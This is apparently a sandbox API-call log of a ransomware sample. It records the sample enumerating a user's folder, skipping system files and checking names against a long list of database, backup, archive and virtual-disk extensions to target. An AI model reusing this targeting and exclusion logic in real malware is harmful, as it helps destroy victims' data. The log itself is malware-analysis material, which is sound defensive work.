	[0087.746] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0087.746] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.746] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0087.746] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0087.746] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x851dbb0, ftCreationTime.dwHighDateTime=0x1d4c58d, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.746] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.746] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0087.746] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0087.746] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0087.746] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c40f00, ftCreationTime.dwHighDateTime=0x1d4d213, ftLastAccessTime.dwLowDateTime=0x303c2830, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303c2830, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4mOjK9TTSmSvCmn1hP", cAlternateFileName="4MOJK9~1")) returned 1
	[0087.746] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.746] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="Apollon865.txt.exe") returned -1
	[0087.746] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2=".") returned 1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="..") returned 1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="windows") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="bootmgr") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="temp") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="pagefile.sys") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="boot") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="ids.txt") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="ntuser.dat") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="perflogs") returned -1
	[0087.747] lstrcmpiW (lpString1="4mOjK9TTSmSvCmn1hP", lpString2="MSBuild") returned -1
	[0087.747] lstrlenW (lpString="4mOjK9TTSmSvCmn1hP") returned 18
	[0087.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\*") returned 47
	[0087.747] lstrcpyW (in: lpString1=0x119e664, lpString2="4mOjK9TTSmSvCmn1hP" | out: lpString1="4mOjK9TTSmSvCmn1hP") returned="4mOjK9TTSmSvCmn1hP"
	[0087.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0087.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0087.747] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0087.747] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a290, ftCreationTime.dwHighDateTime=0x1d4c9ab, ftLastAccessTime.dwLowDateTime=0x9def5e20, ftLastAccessTime.dwHighDateTime=0x1d4c94a, ftLastWriteTime.dwLowDateTime=0x9def5e20, ftLastWriteTime.dwHighDateTime=0x1d4c94a, nFileSizeHigh=0x0, nFileSizeLow=0x3aa3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4OGtqwJ-D.mp3", cAlternateFileName="4OGTQW~1.MP3")) returned 1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="Apollon865.txt.exe") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2=".") returned 1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="..") returned 1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="windows") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="bootmgr") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="temp") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="pagefile.sys") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="boot") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="ids.txt") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="ntuser.dat") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="perflogs") returned -1
	[0087.747] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2="MSBuild") returned -1
	[0087.747] lstrlenW (lpString="4OGtqwJ-D.mp3") returned 13
	[0087.747] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\4mOjK9TTSmSvCmn1hP") returned 64
	[0087.747] lstrcpyW (in: lpString1=0x119e664, lpString2="4OGtqwJ-D.mp3" | out: lpString1="4OGtqwJ-D.mp3") returned="4OGtqwJ-D.mp3"
	[0087.748] lstrlenW (lpString="4OGtqwJ-D.mp3") returned 13
	[0087.748] lstrlenW (lpString="Apollon865") returned 10
	[0087.748] lstrcmpiW (lpString1="tqwJ-D.mp3", lpString2="Apollon865") returned 1
	[0087.748] lstrlenW (lpString=".dll") returned 4
	[0087.748] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2=".dll") returned 1
	[0087.748] lstrlenW (lpString=".lnk") returned 4
	[0087.748] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2=".lnk") returned 1
	[0087.748] lstrlenW (lpString=".ini") returned 4
	[0087.748] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2=".ini") returned 1
	[0087.748] lstrlenW (lpString=".sys") returned 4
	[0087.748] lstrcmpiW (lpString1="4OGtqwJ-D.mp3", lpString2=".sys") returned 1
	[0087.748] lstrlenW (lpString="4OGtqwJ-D.mp3") returned 13
	[0087.748] lstrlenW (lpString="bak") returned 3
	[0087.748] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.748] lstrlenW (lpString="ba_") returned 3
	[0087.748] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.748] lstrlenW (lpString="dbb") returned 3
	[0087.748] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.748] lstrlenW (lpString="vmdk") returned 4
	[0087.748] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.748] lstrlenW (lpString="rar") returned 3
	[0087.748] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.748] lstrlenW (lpString="zip") returned 3
	[0087.748] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.748] lstrlenW (lpString="tgz") returned 3
	[0087.748] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.748] lstrlenW (lpString="vbox") returned 4
	[0087.749] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.749] lstrlenW (lpString="vdi") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.749] lstrlenW (lpString="vhd") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.749] lstrlenW (lpString="vhdx") returned 4
	[0087.749] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.749] lstrlenW (lpString="avhd") returned 4
	[0087.749] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0087.749] lstrlenW (lpString="db") returned 2
	[0087.749] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.749] lstrlenW (lpString="db2") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.749] lstrlenW (lpString="db3") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.749] lstrlenW (lpString="dbf") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.749] lstrlenW (lpString="mdf") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.749] lstrlenW (lpString="mdb") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.749] lstrlenW (lpString="sql") returned 3
	[0087.749] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.749] lstrlenW (lpString="sqlite") returned 6
	[0087.749] lstrcmpiW (lpString1="-D.mp3", lpString2="sqlite") returned -1
	[0087.749] lstrlenW (lpString="sqlite3") returned 7
	[0087.749] lstrcmpiW (lpString1="J-D.mp3", lpString2="sqlite3") returned -1
	[0087.749] lstrlenW (lpString="sqlitedb") returned 8
	[0087.749] lstrcmpiW (lpString1="wJ-D.mp3", lpString2="sqlitedb") returned 1
	[0087.750] lstrlenW (lpString="xml") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.750] lstrlenW (lpString="$er") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.750] lstrlenW (lpString="4dd") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.750] lstrlenW (lpString="4dl") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.750] lstrlenW (lpString="^^^") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.750] lstrlenW (lpString="abs") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.750] lstrlenW (lpString="abx") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.750] lstrlenW (lpString="accdb") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accdb") returned 1
	[0087.750] lstrlenW (lpString="accdc") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accdc") returned 1
	[0087.750] lstrlenW (lpString="accde") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accde") returned 1
	[0087.750] lstrlenW (lpString="accdr") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accdr") returned 1
	[0087.750] lstrlenW (lpString="accdt") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accdt") returned 1
	[0087.750] lstrlenW (lpString="accdw") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accdw") returned 1
	[0087.750] lstrlenW (lpString="accft") returned 5
	[0087.750] lstrcmpiW (lpString1="D.mp3", lpString2="accft") returned 1
	[0087.750] lstrlenW (lpString="adb") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.750] lstrlenW (lpString="adb") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.750] lstrlenW (lpString="ade") returned 3
	[0087.750] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.751] lstrlenW (lpString="adf") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.751] lstrlenW (lpString="adn") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.751] lstrlenW (lpString="adp") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.751] lstrlenW (lpString="alf") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.751] lstrlenW (lpString="ask") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.751] lstrlenW (lpString="btr") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.751] lstrlenW (lpString="cat") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.751] lstrlenW (lpString="cdb") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.751] lstrlenW (lpString="ckp") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.751] lstrlenW (lpString="cma") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.751] lstrlenW (lpString="cpd") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.751] lstrlenW (lpString="dacpac") returned 6
	[0087.751] lstrcmpiW (lpString1="-D.mp3", lpString2="dacpac") returned -1
	[0087.751] lstrlenW (lpString="dad") returned 3
	[0087.751] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.751] lstrlenW (lpString="dadiagrams") returned 10
	[0087.751] lstrcmpiW (lpString1="tqwJ-D.mp3", lpString2="dadiagrams") returned 1
	[0087.751] lstrlenW (lpString="daschema") returned 8
	[0087.751] lstrcmpiW (lpString1="wJ-D.mp3", lpString2="daschema") returned 1
	[0087.751] lstrlenW (lpString="db-journal") returned 10
	[0087.751] lstrcmpiW (lpString1="tqwJ-D.mp3", lpString2="db-journal") returned 1
	[0087.751] lstrlenW (lpString="db-shm") returned 6
	[0087.751] lstrcmpiW (lpString1="-D.mp3", lpString2="db-shm") returned -1
	[0087.751] lstrlenW (lpString="db-wal") returned 6
	[0087.751] lstrcmpiW (lpString1="-D.mp3", lpString2="db-wal") returned -1
	[0087.752] lstrlenW (lpString="dbc") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0087.752] lstrlenW (lpString="dbs") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0087.752] lstrlenW (lpString="dbt") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0087.752] lstrlenW (lpString="dbv") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0087.752] lstrlenW (lpString="dbx") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0087.752] lstrlenW (lpString="dcb") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0087.752] lstrlenW (lpString="dct") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0087.752] lstrlenW (lpString="dcx") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0087.752] lstrlenW (lpString="ddl") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0087.752] lstrlenW (lpString="dlis") returned 4
	[0087.752] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0087.752] lstrlenW (lpString="dp1") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0087.752] lstrlenW (lpString="dqy") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0087.752] lstrlenW (lpString="dsk") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0087.752] lstrlenW (lpString="dsn") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0087.752] lstrlenW (lpString="dtsx") returned 4
	[0087.752] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0087.752] lstrlenW (lpString="dxl") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0087.752] lstrlenW (lpString="eco") returned 3
	[0087.752] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0087.752] lstrlenW (lpString="ecx") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0087.753] lstrlenW (lpString="edb") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0087.753] lstrlenW (lpString="epim") returned 4
	[0087.753] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0087.753] lstrlenW (lpString="fcd") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0087.753] lstrlenW (lpString="fdb") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0087.753] lstrlenW (lpString="fic") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0087.753] lstrlenW (lpString="flexolibrary") returned 12
	[0087.753] lstrcmpiW (lpString1="OGtqwJ-D.mp3", lpString2="flexolibrary") returned 1
	[0087.753] lstrlenW (lpString="fm5") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0087.753] lstrlenW (lpString="fmp") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0087.753] lstrlenW (lpString="fmp12") returned 5
	[0087.753] lstrcmpiW (lpString1="D.mp3", lpString2="fmp12") returned -1
	[0087.753] lstrlenW (lpString="fmpsl") returned 5
	[0087.753] lstrcmpiW (lpString1="D.mp3", lpString2="fmpsl") returned -1
	[0087.753] lstrlenW (lpString="fol") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0087.753] lstrlenW (lpString="fp3") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0087.753] lstrlenW (lpString="fp4") returned 3
	[0087.753] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0087.754] lstrlenW (lpString="fp5") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0087.754] lstrlenW (lpString="fp7") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0087.754] lstrlenW (lpString="fpt") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0087.754] lstrlenW (lpString="frm") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0087.754] lstrlenW (lpString="gdb") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.754] lstrlenW (lpString="gdb") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.754] lstrlenW (lpString="grdb") returned 4
	[0087.754] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0087.754] lstrlenW (lpString="gwi") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0087.754] lstrlenW (lpString="hdb") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0087.754] lstrlenW (lpString="his") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0087.754] lstrlenW (lpString="ib") returned 2
	[0087.754] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0087.754] lstrlenW (lpString="idb") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0087.754] lstrlenW (lpString="ihx") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0087.754] lstrlenW (lpString="itdb") returned 4
	[0087.754] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0087.754] lstrlenW (lpString="itw") returned 3
	[0087.754] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0087.755] lstrlenW (lpString="jet") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0087.755] lstrlenW (lpString="jtx") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0087.755] lstrlenW (lpString="kdb") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0087.755] lstrlenW (lpString="kexi") returned 4
	[0087.755] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0087.755] lstrlenW (lpString="kexic") returned 5
	[0087.755] lstrcmpiW (lpString1="D.mp3", lpString2="kexic") returned -1
	[0087.755] lstrlenW (lpString="kexis") returned 5
	[0087.755] lstrcmpiW (lpString1="D.mp3", lpString2="kexis") returned -1
	[0087.755] lstrlenW (lpString="lgc") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0087.755] lstrlenW (lpString="lwx") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0087.755] lstrlenW (lpString="maf") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0087.755] lstrlenW (lpString="maq") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0087.755] lstrlenW (lpString="mar") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0087.755] lstrlenW (lpString="marshal") returned 7
	[0087.755] lstrcmpiW (lpString1="J-D.mp3", lpString2="marshal") returned -1
	[0087.755] lstrlenW (lpString="mas") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0087.755] lstrlenW (lpString="mav") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0087.755] lstrlenW (lpString="maw") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0087.755] lstrlenW (lpString="mdbhtml") returned 7
	[0087.755] lstrcmpiW (lpString1="J-D.mp3", lpString2="mdbhtml") returned -1
	[0087.755] lstrlenW (lpString="mdn") returned 3
	[0087.755] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0087.755] lstrlenW (lpString="mdt") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0087.756] lstrlenW (lpString="mfd") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0087.756] lstrlenW (lpString="mpd") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0087.756] lstrlenW (lpString="mrg") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0087.756] lstrlenW (lpString="mud") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0087.756] lstrlenW (lpString="mwb") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0087.756] lstrlenW (lpString="myd") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0087.756] lstrlenW (lpString="ndf") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0087.756] lstrlenW (lpString="nnt") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0087.756] lstrlenW (lpString="nrmlib") returned 6
	[0087.756] lstrcmpiW (lpString1="-D.mp3", lpString2="nrmlib") returned -1
	[0087.756] lstrlenW (lpString="ns2") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0087.756] lstrlenW (lpString="ns3") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0087.756] lstrlenW (lpString="ns4") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0087.756] lstrlenW (lpString="nsf") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0087.756] lstrlenW (lpString="nv") returned 2
	[0087.756] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0087.756] lstrlenW (lpString="nv2") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0087.756] lstrlenW (lpString="nwdb") returned 4
	[0087.756] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0087.756] lstrlenW (lpString="nyf") returned 3
	[0087.756] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0087.757] lstrlenW (lpString="odb") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.757] lstrlenW (lpString="odb") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.757] lstrlenW (lpString="oqy") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0087.757] lstrlenW (lpString="ora") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0087.757] lstrlenW (lpString="orx") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0087.757] lstrlenW (lpString="owc") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0087.757] lstrlenW (lpString="p96") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0087.757] lstrlenW (lpString="p97") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0087.757] lstrlenW (lpString="pan") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0087.757] lstrlenW (lpString="pdb") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0087.757] lstrlenW (lpString="pdm") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0087.757] lstrlenW (lpString="pnz") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0087.757] lstrlenW (lpString="qry") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0087.757] lstrlenW (lpString="qvd") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0087.757] lstrlenW (lpString="rbf") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0087.757] lstrlenW (lpString="rctd") returned 4
	[0087.757] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0087.757] lstrlenW (lpString="rod") returned 3
	[0087.757] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0087.757] lstrlenW (lpString="rodx") returned 4
	[0087.758] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0087.758] lstrlenW (lpString="rpd") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0087.758] lstrlenW (lpString="rsd") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0087.758] lstrlenW (lpString="sas7bdat") returned 8
	[0087.758] lstrcmpiW (lpString1="wJ-D.mp3", lpString2="sas7bdat") returned 1
	[0087.758] lstrlenW (lpString="sbf") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0087.758] lstrlenW (lpString="scx") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0087.758] lstrlenW (lpString="sdb") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0087.758] lstrlenW (lpString="sdc") returned 3
	[0087.758] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0087.758] lstrlenW (lpString="sdf") returned 3
